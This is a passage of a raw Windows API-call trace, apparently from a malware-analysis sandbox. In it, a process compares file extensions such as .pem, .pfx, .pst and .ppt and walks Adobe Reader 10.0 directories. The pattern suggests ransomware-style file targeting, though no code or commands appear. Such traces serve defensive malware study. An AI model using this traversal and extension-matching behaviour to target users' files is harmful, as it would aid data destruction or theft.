(lpString=".pef") returned 4 [0047.776] lstrcmpiW (lpString1=".pef", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pem") returned 4 [0047.776] lstrcmpiW (lpString1=".pem", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pff") returned 4 [0047.776] lstrcmpiW (lpString1=".pff", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".pfm") returned 4 [0047.777] lstrcmpiW (lpString1=".pfm", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".pfx") returned 4 [0047.777] lstrcmpiW (lpString1=".pfx", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".pgm") returned 4 [0047.777] lstrcmpiW (lpString1=".pgm", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".php") returned 4 [0047.777] lstrcmpiW (lpString1=".php", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".php3") returned 5 [0047.777] lstrcmpiW (lpString1=".php3", lpString2="y.CHT") returned -1 [0047.777] lstrlenW (lpString=".php4") returned 5 [0047.777] lstrcmpiW (lpString1=".php4", lpString2="y.CHT") returned -1 [0047.777] lstrlenW (lpString=".php5") returned 5 [0047.777] lstrcmpiW (lpString1=".php5", lpString2="y.CHT") returned -1 [0047.777] lstrlenW (lpString=".phtml") returned 6 [0047.777] lstrcmpiW (lpString1=".phtml", lpString2="ty.CHT") returned -1 [0047.777] lstrlenW (lpString=".pict") returned 5 [0047.777] lstrcmpiW (lpString1=".pict", lpString2="y.CHT") returned -1 [0047.777] lstrlenW (lpString=".pl") returned 3 [0047.777] lstrcmpiW (lpString1=".pl", lpString2="CHT") returned -1 [0047.777] lstrlenW (lpString=".pls") returned 4 [0047.777] lstrcmpiW (lpString1=".pls", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".pm") returned 3 [0047.777] lstrcmpiW (lpString1=".pm", lpString2="CHT") returned -1 [0047.777] lstrlenW (lpString=".png") returned 4 [0047.777] lstrcmpiW (lpString1=".png", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".pnm") returned 4 [0047.777] lstrcmpiW (lpString1=".pnm", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".pot") returned 4 [0047.777] lstrcmpiW (lpString1=".pot", lpString2=".CHT") returned 1 [0047.777] lstrlenW (lpString=".potm") returned 5 [0047.777] lstrcmpiW (lpString1=".potm", lpString2="y.CHT") returned -1 [0047.777] lstrlenW (lpString=".potx") returned 5 [0047.778] lstrcmpiW (lpString1=".potx", lpString2="y.CHT") returned -1 [0047.778] lstrlenW (lpString=".ppa") returned 4 [0047.778] lstrcmpiW (lpString1=".ppa", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".ppam") returned 5 [0047.778] lstrcmpiW (lpString1=".ppam", lpString2="y.CHT") returned -1 [0047.778] lstrlenW (lpString=".ppm") returned 4 [0047.778] lstrcmpiW (lpString1=".ppm", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".pps") returned 4 [0047.778] lstrcmpiW (lpString1=".pps", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".ppsm") returned 5 [0047.778] lstrcmpiW (lpString1=".ppsm", lpString2="y.CHT") returned -1 [0047.778] lstrlenW (lpString=".ppt") returned 4 [0047.778] lstrcmpiW (lpString1=".ppt", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".pptm") returned 5 [0047.778] lstrcmpiW (lpString1=".pptm", lpString2="y.CHT") returned -1 [0047.778] lstrlenW (lpString=".pptx") returned 5 [0047.778] lstrcmpiW (lpString1=".pptx", lpString2="y.CHT") returned -1 [0047.778] lstrlenW (lpString=".prn") returned 4 [0047.778] lstrcmpiW (lpString1=".prn", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".ps") returned 3 [0047.778] lstrcmpiW (lpString1=".ps", lpString2="CHT") returned -1 [0047.778] lstrlenW (lpString=".psb") returned 4 [0047.778] lstrcmpiW (lpString1=".psb", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".psd") returned 4 [0047.778] lstrcmpiW (lpString1=".psd", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".pst") returned 4 [0047.778] lstrcmpiW (lpString1=".pst", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".ptx") returned 4 [0047.778] lstrcmpiW (lpString1=".ptx", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".pub") returned 4 [0047.778] lstrcmpiW (lpString1=".pub", lpString2=".CHT") returned 1 [0047.778] lstrlenW (lpString=".pwm") returned 4 [0047.778] lstrcmpiW (lpString1=".pwm", lpString2=".CHT") returned 1 [0047.779] lstrlenW (lpString=".pxr") returned 4 [0047.779] lstrcmpiW (lpString1=".pxr", lpString2=".CHT") returned 1 [0047.779] lstrlenW (lpString=".py") returned 3 [0047.779] lstrcmpiW (lpString1=".py", lpString2="CHT") returned -1 [0047.779] lstrlenW (lpString=".qt") returned 3 [0047.779] lstrcmpiW (lpString1=".qt", lpString2="CHT") returned -1 [0047.779] lstrlenW (lpString=".r3d") returned 4 [0047.779] lstrcmpiW (lpString1=".r3d", lpString2=".CHT") returned 1 [0047.780] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0047.780] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0047.780] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0047.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e700a0 | out: hHeap=0x790000) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0047.780] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0047.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0047.780] FindClose (in: hFindFile=0x7cbad0 | out: hFindFile=0x7cbad0) returned 1 [0047.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f10010 | out: hHeap=0x790000) returned 1 [0047.781] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0047.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbad0 [0047.781] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.781] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0047.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb910 [0047.781] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.781] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0047.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0047.782] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0047.782] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0047.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e700a0 | out: hHeap=0x790000) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0047.782] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0047.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0047.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb910 [0047.782] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.783] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0047.783] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0047.989] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.989] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0047.995] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0047.997] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.997] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0047.998] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.093] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.093] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0048.094] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.095] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.095] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.095] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.095] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.095] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0048.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.096] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.096] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.096] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.097] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.097] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 